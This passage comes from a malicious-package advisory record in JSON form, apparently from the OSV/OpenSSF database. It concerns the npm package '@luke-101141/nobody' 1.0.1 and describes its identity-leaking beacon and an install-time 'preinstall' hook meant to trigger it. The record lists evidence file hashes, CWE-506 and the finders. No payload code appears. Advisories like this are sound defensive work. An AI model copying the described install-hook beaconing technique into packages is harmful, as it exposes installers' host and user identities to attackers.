The package has no advertised functionality — empty description, no useful exports — its sole effect is the identity beacon. package.json also contains a top-level `\"preinstall\": \"node index.js\"` field outside the `scripts` block; as written it does not fire at install time, but the intent to trigger the same payload at `npm install` is explicit. Any consumer importing this package leaks host/user identity to the attacker.\n\n## Source: ossf-package-analysis (cd4cb72508248900987f8bd099896c95e232fee57835b5a89ac6b0d3178c2ed7)\nThe OpenSSF Package Analysis project identified '@luke-101141/nobody' @ 1.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"@luke-101141/nobody"},"versions":["1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"index.js","sha256":"49be609680fa7f470d893f23ea379e7336ae84fc14521dd9f14df859646ce1c3","tlsh":"0be07d0e1cf88d3a723354a5f948581ba68bdb101237f0d2a89e1509038998448182cb"},{"path":"package.json","sha256":"5289d5e4b19c6d1ec270927d4147db913fe9dc77c05fd09b25bfbf9356ad7be2","tlsh":"09d05e380d61953326c40a66096ba45766a18f2f00287c0897db583890debb7a8ff36d"}],"package_integrity":[{"filename":"nobody-1.0.1.tgz","hashes":{"sha1":"5a0cbf29659f7fece79c521746a19f0faa7c4376","sha512_sri":"sha512-D27Eh35JzuckGv3gBLQqbpXixCDeRLfohET6SPUqcm4i7zVYwPhArUa07lKgDihfnaBEOAfmz3CzgPPFLthWsg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@luke-101141/nobody/v/1.0.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]},{"name":"OpenSSF: Package Analysis","type":"FINDER","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"]}],"database_specific":{"malicious-packages-origins":[{"source":"ossf-package-analysis","sha256":"cd4cb72508248900987f8bd099896c95e232fee57835b5a89ac6b0d3178c2ed7","import_time":"2026-05-21T22:53:48.245127954Z","modified_time":"2026-05-21T13:31:26Z","versions":["1.0.1"]},{"source":"amazon-inspector","sha256":"8a22de475581dbf26085c2605781782a61205eb62add0a261eabe2357ac2cbc8","import_time":"2026-05-26T05:51:22.838518518Z","id":"IN-MAL-2026-003819","modified_time":"2026-05-21T13:18:52Z","versions":["1.0.1"]}]}}
